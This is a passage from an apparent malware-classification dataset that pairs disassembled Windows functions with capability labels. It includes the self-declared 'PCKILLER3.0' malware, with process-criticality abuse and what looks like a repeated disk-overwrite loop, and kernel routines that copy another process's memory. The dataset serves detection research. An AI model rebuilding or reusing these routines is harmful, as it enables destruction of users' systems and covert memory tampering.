joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400019d0
Capabilities:
Get common file path

Disassembly:
push rdi
sub rsp, 0x280
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x290], rbx
mov rax, qword [0x140021020]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov r8d, 0x104
lea rdi, [0x140022a50]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001c3a
mov qword [rsp + 0x50], 7
xor ebx, ebx
mov qword [rsp + 0x48], rbx
mov word [rsp + 0x38], bx
cmp word [0x140022a50], bx
jne 0x140001a48
mov r8d, ebx
jmp 0x140001a5a
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rdi + r8*2], bx
jne 0x140001a50
mov rdx, rdi
lea rcx, [rsp + 0x38]
call fcn.140003400
nop
mov edx, 0x5c
mov rcx, rdi
call fcn.1400077a8
test rax, rax
je 0x140001c23
mov word [rax + 2], bx
mov word [rsp + 0x60], bx
xor edx, edx
mov r8d, 0x206
lea rcx, [rsp + 0x62]
call fcn.140008110
mov edx, 0x104
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
lea rdx, str.SetDefaultDllDirectories
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140022c58], rax
lea rdx, str.SetDllDirectoryW
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140022c60], rax
lea rdx, str.AddDllDirectory
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140022c68], rax
cmp qword [0x140022c58], 0
je 0x140001b6b
mov rdx, qword [0x140022c60]
test rdx, rdx
je 0x140001b6b
test rax, rax
je 0x140001b6b
mov byte [0x140022a41], 1
lea rcx, [0x140017154]
call rdx
test eax, eax
je 0x140001c23
mov rcx, rdi
call qword [0x140022c68]
test rax, rax
je 0x140001c23
lea rcx, [rsp + 0x60]
call qword [0x140022c68]
test rax, rax
je 0x140001c23
mov ecx, 0xc00
call qword [0x140022c58]
test eax, eax
jne 0x140001bdb
jmp 0x140001c23
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rdx, str.msasn1.dll
lea rcx, [rsp + 0x28]
call fcn.140001760
lea rdx, str.cryptsp.dll
lea rcx, [rsp + 0x28]
call fcn.140001760
lea rdx, str.cryptbase.dll
lea rcx, [rsp + 0x28]
call fcn.140001760
lea rdx, str.wintrust.dll
lea rcx, [rsp + 0x28]
call fcn.140001760
lea rdx, str.rsaenh.dll
lea rcx, [rsp + 0x28]
call fcn.140001760
lea rdx, str.psapi.dll
lea rcx, [rsp + 0x28]
call fcn.140001760
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
cmovae rcx, qword [rsp + 0x38]
xor edx, edx
call fcn.1400022f0
mov byte [0x140022a40], al
test al, al
je 0x140001c1f
lea rdx, str.msvcr120.dll
lea rcx, [rsp + 0x20]
call fcn.1400015b0
lea rdx, str.msvcp120.dll
lea rcx, [rsp + 0x20]
call fcn.1400015b0
mov bl, 1
jmp 0x140001c25
xor bl, bl
cmp qword [rsp + 0x50], 8
jb 0x140001c37
mov rcx, qword [rsp + 0x38]
call fcn.140006d0c
movzx eax, bl
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140006c80
mov rbx, qword [rsp + 0x290]
add rsp, 0x280
pop rdi
ret
Function at 0x140001cd0
Capabilities:
Check if file exists
Get file attributes
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rdi
mov rax, qword [0x140021020]
xor rax, rsp
mov qword [rbp - 8], rax
movzx esi, dl
mov rdi, rcx
mov qword [rbp - 0x10], 7
xor ebx, ebx
mov qword [rbp - 0x18], rbx
mov word [rbp - 0x28], bx
lea rdx, [0x140022a50]
cmp word [0x140022a50], bx
jne 0x140001d2b
mov r8d, ebx
jmp 0x140001d3a
or r8, 0xffffffffffffffff
nop
inc r8
cmp word [rdx + r8*2], bx
jne 0x140001d30
lea rcx, [rbp - 0x28]
call fcn.140003400
nop
cmp word [rdi], 0
je 0x140001d5a
or rbx, 0xffffffffffffffff
nop
inc rbx
cmp word [rdi + rbx*2], 0
jne 0x140001d50
mov r8, rbx
mov rdx, rdi
lea rcx, [rbp - 0x28]
call fcn.140002da0
test sil, sil
je 0x140001dae
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001d8b
test al, 0x10
je 0x140001dae
mov ecx, 0x7e
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop
cmp qword [rbp - 0x10], 8
jb 0x140001da7
mov rcx, qword [rbp - 0x28]
call fcn.140006d0c
xor eax, eax
jmp 0x140001e67
cmp byte [0x140022a40], 0
je 0x140001dff
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rcx, qword [rbp - 0x28]
xor edx, edx
call fcn.1400022f0
test al, al
jne 0x140001dff
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rdx, qword [rbp - 0x28]
mov r9d, 0x1010
lea r8, str.DLL_does_not_have_a_valid_signature
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 0x800b0100
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test sil, sil
jne 0x140001e54
test rbx, rbx
jne 0x140001e54
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rdx, qword [rbp - 0x28]
mov r9d, 0x1010
lea r8, str.DLL_not_found_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_ExitProcess]
cmp qword [rbp - 0x10], 8
jb 0x140001e64
mov rcx, qword [rbp - 0x28]
call fcn.140006d0c
mov rax, rbx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140006c80
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret
Function at 0x1400041c0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movzx eax, r8b
mov rsi, rdx
mov rbx, rcx
dec eax
sub rsi, rcx
mov r9, rdx
not eax
sub rbx, rdx
mov edi, 4
movsxd r11, eax
movq xmm3, r11
punpcklqdq xmm3, xmm3
nop word [rax + rax]
lea rax, [rbx + 0x78]
add rax, r9
cmp r9, rax
ja 0x140004255
lea r10, [rbx + r9]
add rax, rsi
cmp rax, r10
jb 0x140004255
mov rax, r9
sub r10, r9
mov r8d, 0x10
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [r10 + rax]
lea rax, [rax + 8]
mov rcx, rdx
xor rcx, qword [rax - 8]
and rcx, r11
xor rdx, rcx
mov qword [r10 + rax - 8], rdx
xor qword [rax - 8], rcx
dec r8
jne 0x140004230
jmp 0x140004296
mov rax, r9
mov ecx, 8
nop dword [rax]
movdqu xmm1, xmmword [rbx + rax]
movdqu xmm2, xmmword [rax]
lea rax, [rax + 0x10]
pxor xmm2, xmm1
pand xmm2, xmm3
movdqa xmm0, xmm2
pxor xmm0, xmm1
movdqu xmmword [rbx + rax - 0x10], xmm0
movdqu xmm1, xmmword [rax - 0x10]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x10], xmm1
dec rcx
jne 0x140004260
sub r9, 0xffffffffffffff80
dec rdi
jne 0x140004200
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
Function at 0x14000a97c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14000a7e4
Function at 0x140043170
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret

Function at 0x140043894
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400438de
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400438de
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400438de
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400438de
cmp dword [rcx + 0x84], 0xe
jbe 0x1400438de
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400438e0
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Find process by pid

Disassembly:
push rbx
sub rsp, 0x60
and qword [rsp + 0x70], 0
lea rdx, [rsp + 0x70]
mov rbx, rcx
mov rcx, qword [rcx]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x140001028
mov eax, 0xc0000001
jmp 0x140001077
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ntoskrnl.exe_KeAttachProcess]
mov rdx, qword [rbx + 8]
lea rax, [rbx + 0x20]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x20], 0x30
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwQueryVirtualMemory]
call qword [sym.imp.ntoskrnl.exe_KeDetachProcess]
mov rcx, qword [rbx + 0x10]
lea rdx, [rsp + 0x30]
mov r8d, 0x30
call fcn.140001118
xor eax, eax
add rsp, 0x60
pop rbx
ret

Function at 0x140001080
Capabilities:
Find process by pid

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
mov rsi, rcx
and qword [rax + 8], 0
lea rdx, [rax + 8]
mov rcx, qword [rcx]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov dword [rsp + 0x40], eax
test eax, eax
jns 0x1400010b6
lfence
mov eax, dword [rsp + 0x40]
jmp 0x140001107
mov rbx, qword [rsi + 0x18]
mov rdi, qword [rsi + 0x10]
call qword [sym.imp.ntoskrnl.exe_IoGetCurrentProcess]
mov rdx, qword [rsi + 8]
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x30], rcx
mov byte [rsp + 0x28], 0
mov qword [rsp + 0x20], rbx
mov r9, rdi
mov r8, rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ntoskrnl.exe_MmCopyVirtualMemory]
mov ebx, eax
mov dword [rsp + 0x40], eax
jmp 0x1400010fa
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret

Function at 0x140001194
Capabilities:
Find process by pid

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov r15, rcx
and qword [rax + 8], 0
lea rdx, [rax + 8]
mov rcx, qword [rcx]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov dword [rsp + 0x40], eax
test eax, eax
jns 0x1400011ce
lfence
mov eax, dword [rsp + 0x40]
jmp 0x140001225
mov rbx, qword [r15 + 0x18]
mov rdi, qword [r15 + 8]
mov rsi, qword [rsp + 0x70]
mov r14, qword [r15 + 0x10]
call qword [sym.imp.ntoskrnl.exe_IoGetCurrentProcess]
lea rcx, [r15 + 0x20]
mov qword [rsp + 0x30], rcx
mov byte [rsp + 0x28], 0
mov qword [rsp + 0x20], rbx
mov r9, rdi
mov r8, rsi
mov rdx, r14
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_MmCopyVirtualMemory]
mov ebx, eax
mov dword [rsp + 0x40], eax
jmp 0x140001218
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x140004180
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov ebx, 0x1f4
xor edi, edi
mov qword [rsp + 0x28], rdi
lea r8, [0x140003ff0]
xor r9d, r9d
mov dword [rsp + 0x20], edi
mov edx, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rbx, 1
jne 0x140004191
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop rdi
ret

Function at 0x1400041d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
sub rsp, 0x50
mov rax, qword [0x1400b7210]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebp, ebp
xor r9d, r9d
mov qword [rsp + 0x30], rbp
mov edx, 0xc0000000
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], 3
lea r8d, [rbp + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400042cc
mov qword [rsp + 0x68], rsi
lea ecx, [rbp + 0x40]
mov edx, 0x1400
mov qword [rsp + 0x70], rdi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov qword [rsp + 0x38], rbp
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], ebp
xor r8d, r8d
mov edx, 0x2d4808
mov qword [rsp + 0x20], rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov edi, 0x1388
nop dword [rax + rax]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbp
mov r8d, 0x1400
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r9d, 1
xor r8d, r8d
mov edx, 0x1400
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
sub rdi, 1
jne 0x140004280
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140026c50
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret
Function at 0x140006f20
Capabilities:
Acquire debug privileges
Manipulate console buffer
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x1400b7210]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlSetProcessIsCritical
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlSetThreadIsCritical
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor ebp, ebp
test eax, eax
je 0x140006fe9
lea r8, [rsp + 0x38]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140006fe9
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x28], rbp
xor edx, edx
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
xor r8d, r8d
xor edx, edx
mov cl, 1
call rdi
xor r8d, r8d
xor edx, edx
mov cl, 1
call rbx
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x30], ebp
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx ecx, word [rsp + 0x40]
lea rax, [rsp + 0x38]
movsx edi, word [rsp + 0x42]
mov ebx, ebp
imul edi, ecx
mov r9d, ebx
mov dl, 0x20
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov r8d, edi
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx edx, word [rsp + 0x48]
lea rax, [rsp + 0x38]
mov r9d, ebx
mov qword [rsp + 0x20], rax
mov r8d, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
mov edx, ebx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
lea rcx, [0x1400aaab8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov ecx, 0xfffffff5
mov ebx, 4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, bx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140026c50
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
Function at 0x1400077c0
Capabilities:
Capture screenshot

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x88
mov qword [rsp + 0x60], 0xa
nop dword [rax]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov dword [rsp + 0xe0], eax
mov ebp, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
xor ecx, ecx
mov dword [rsp + 0xd0], eax
mov edi, eax
call qword [sym.imp.USER32.dll_GetDC]
xor r12d, r12d
lea ebx, [rbp - 0x190]
mov r15, rax
mov dword [rsp + 0xe8], ebx
lea r14d, [r12 + 0x32]
call fcn.1400362d8
cdq
add edi, 0xfffffe70
idiv ebx
mov dword [rsp + 0x50], edi
mov r13d, edx
call fcn.1400362d8
cdq
mov qword [rsp + 0x58], 6
idiv edi
mov esi, edx
mov dword [rsp + 0xd8], edx
cmp r14d, 0x1c2
jl 0x140007882
call fcn.1400362d8
cdq
idiv ebx
mov r13d, edx
call fcn.1400362d8
cdq
mov r14d, 0x32
idiv edi
xor r12d, r12d
mov esi, edx
mov dword [rsp + 0xd8], edx
mov rcx, r15
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, dword [rsp + 0xd0]
mov r9d, ebp
mov dword [rsp + 0x40], 0xcc0020
mov rbx, rax
xor eax, eax
xor r8d, r8d
mov dword [rsp + 0x38], eax
xor edx, edx
mov dword [rsp + 0x30], eax
mov rcx, rbx
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], edi
call qword [sym.imp.GDI32.dll_BitBlt]
mov r8d, edi
mov edx, ebp
mov rcx, r15
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rdx, rax
mov qword [rsp + 0x68], rax
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.GDI32.dll_SelectObject]
xor eax, eax
mov dword [rsp + 0x40], 0x330008
mov dword [rsp + 0x38], eax
mov r9d, ebp
mov dword [rsp + 0x30], eax
xor r8d, r8d
mov eax, dword [rsp + 0xd0]
xor edx, edx
mov qword [rsp + 0x28], r15
mov rcx, rbx
mov dword [rsp + 0x20], eax
call qword [sym.imp.GDI32.dll_BitBlt]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_CreatePatternBrush]
mov rdx, rax
mov qword [rsp + 0x70], rax
mov rcx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
cmp r12d, r14d
jg 0x140007991
mov ecx, r14d
lea edi, [r12 + r13]
sub ecx, r12d
mov eax, 0xcccccccd
mul ecx
mov ebx, r13d
sub esi, r13d
sub ebx, r12d
shr edx, 3
inc edx
mov ebp, edx
lea eax, [rdx + rdx*4]
lea r12d, [r12 + rax*2]
nop dword [rax]
lea eax, [rsi + rdi]
mov r9d, edi
lea r8d, [rsi + rbx]
mov dword [rsp + 0x20], eax
mov edx, ebx
mov rcx, r15
call qword [sym.imp.GDI32.dll_Ellipse]
add edi, 0xa
sub ebx, 0xa
sub rbp, 1
jne 0x140007960
mov rdi, qword [rsp + 0x68]
mov ebp, dword [rsp + 0xe0]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov esi, dword [rsp + 0xd8]
add r14d, 0x32
sub qword [rsp + 0x58], 1
mov ebx, dword [rsp + 0xe8]
mov edi, dword [rsp + 0x50]
jne 0x140007854
sub qword [rsp + 0x60], 1
jne 0x1400077e0
xor eax, eax
add rsp, 0x88
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400080e0
Capabilities:
Create thread
Terminate process

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400b7210]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, str.title_PCKILLER3.0_EULA
call fcn.140038f50
lea rcx, str.color_4F
call fcn.140038f50
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], bl
mov r9d, 0x1034
lea r8, str.PCKILLER3.0_MALWARE_EULA
lea rdx, str._____WANNING_______nYou_opens_executable_is_a_malware_If_you_is_execute_it_press_no_exit__nIf_you_in_virtual_and_want_to_run_it_you_can_press_yes_run_it._nPress_yes_you_is_malware_tester_sure__nYou_have_to_know_malware_is_so_danger____nWriter_by_Xiaowang_fly_Code_help:Shashen_and_Leo_There_are_very_important__
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x140008245
lea rcx, str.There_is_a_malware_you_run_And_it_very_danger__nYou_enter_YES_and_run_it_enter_other_to_exit__nNow_make_your_choice_YES__other__:
call fcn.140006400
lea rdx, [rsp + 0x30]
call fcn.14000a670
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
cmp r8, 3
jne 0x140008245
lea rdx, [0x1400ab210]
call fcn.1400299a0
test eax, eax
jne 0x140008245
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_GetSystemMenu]
mov rcx, rax
xor r8d, r8d
mov edx, 0xf060
call qword [sym.imp.USER32.dll_DeleteMenu]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
call qword [sym.imp.USER32.dll_DrawMenuBar]
call fcn.140006f20
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x1400042f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.title_PCKILLER3.0
call fcn.140038f50
lea rcx, str.color_4F
call fcn.140038f50
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x140003d40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1400070d0
lea rcx, str._Your_code:
call fcn.140006400
call fcn.1400071d0
lea rcx, [0x1400aaf34]
call fcn.140006400
call fcn.140008070
int3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1400085f0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov r14, r8
mov rbp, rdx
mov rdi, rcx
mov rbx, r8
je 0x140008688
test r8, r8
jle 0x140008680
nop word [rax + rax]
mov rcx, rdi
call fcn.1400097a0
test rax, rax
jle 0x14000865e
mov rcx, qword [rdi + 0x40]
cmp rbx, rax
mov rsi, rbx
mov rdx, rbp
cmovge rsi, rax
mov r8, rsi
mov rcx, qword [rcx]
call fcn.140028eb0
mov rax, qword [rdi + 0x58]
sub rbx, rsi
sub dword [rax], esi
mov rcx, qword [rdi + 0x40]
movsxd rax, esi
add qword [rcx], rax
jmp 0x140008678
mov rax, qword [rdi]
mov rcx, rdi
movzx edx, byte [rbp]
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140008680
dec rbx
mov esi, 1
add rbp, rsi
test rbx, rbx
jg 0x140008620
sub r14, rbx
mov rax, r14
jmp 0x140008706
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], r15
mov r9, qword [rax]
test r9, r9
je 0x1400086a1
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400086a3
xor ecx, ecx
movsxd rsi, ecx
test r14, r14
jle 0x1400086fb
test ecx, ecx
jle 0x1400086dc
cmp r14, rsi
mov rcx, r9
cmovl rsi, r14
mov r8, rsi
call fcn.140028eb0
mov rax, qword [rdi + 0x58]
add rbp, rsi
sub r14, rsi
sub dword [rax], esi
mov rcx, qword [rdi + 0x40]
movsxd rax, esi
add qword [rcx], rax
test r14, r14
jle 0x1400086fb
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400086fb
mov r8, r14
mov edx, 1
mov rcx, rbp
call fcn.1400392dc
sub r14, rax
mov r15, qword [rsp + 0x40]
sub rbx, r14
mov rax, rbx
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x140008720
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140008742
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x1400087bc
mov rdi, r14
mov rcx, rbx
call fcn.1400097c0
test rax, rax
jle 0x140008794
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.140028eb0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x1400087ac
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x1400087b4
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140008756
sub r14, rdi
jmp 0x14000889f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x1400087d3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400087d5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140008807
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.140028eb0
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14000889c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140008842
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x14000887d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.1400360d4
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x14000889c
cmp rbp, rax
ja 0x140008850
test rbp, rbp
je 0x14000889c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.1400360d4
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret